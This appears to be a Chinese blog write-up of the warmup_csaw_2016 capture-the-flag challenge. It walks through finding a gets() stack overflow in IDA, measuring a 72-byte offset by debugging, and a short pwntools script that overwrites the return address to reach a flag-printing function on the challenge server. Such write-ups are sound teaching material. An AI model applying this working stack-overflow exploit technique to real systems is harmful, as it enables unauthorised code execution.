buuctf 之warmup_csaw_2016

本文详细描述了一次CSEW2016比赛中的逆向工程过程,涉及到了程序的文件属性查看、使用IDA分析溢出漏洞、通过gets函数获取地址并探索填充数据大小,以及通过动态调试确定栈空间和编写exploit实现旗标获取。
摘要由CSDN通过智能技术生成

首先是传统的文件属性和保护机制的查看:

是一个没有保护机制的64位x86架构的小端可执行程序

接下来我们用ida来看看这个程序:

发现了一个gets函数可以溢出,并且在上面的运行中,我们看到他输出了一个地址,在下面的sprintf函数中将一个函数的地址输出了,我们去看看这个函数是干什么的

狂喜,直接输出flag

两种方式获得填充数据大小

一种是ida直接看(不一定准),40h是64字节,再加8字节的rbp就是ret的位置

另一种动态调试比较稳妥:

断在main函数地址,或者调用gets函数的地址也行

一直‘n’单步到gets函数,然后我们随便输入点东西后查看栈空间:

这里的返回地址,也就是rbp下面的地址是df28,我们输入的‘aaaaa’在dee0

减一下刚好和ida中的一样

之后的exp也比较好写:

from pwn import *

#io = gdb.debug('./warmup_csaw_2016','break *0x40061d')

#io = process('./warmup_csaw_2016')

io = remote('node5.buuoj.cn', 28204)

fun = 0x40060d

payload = b'a' * 72 + p64(fun)

io.sendline(payload)

io.interactive()

运行成功:

  • 15
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值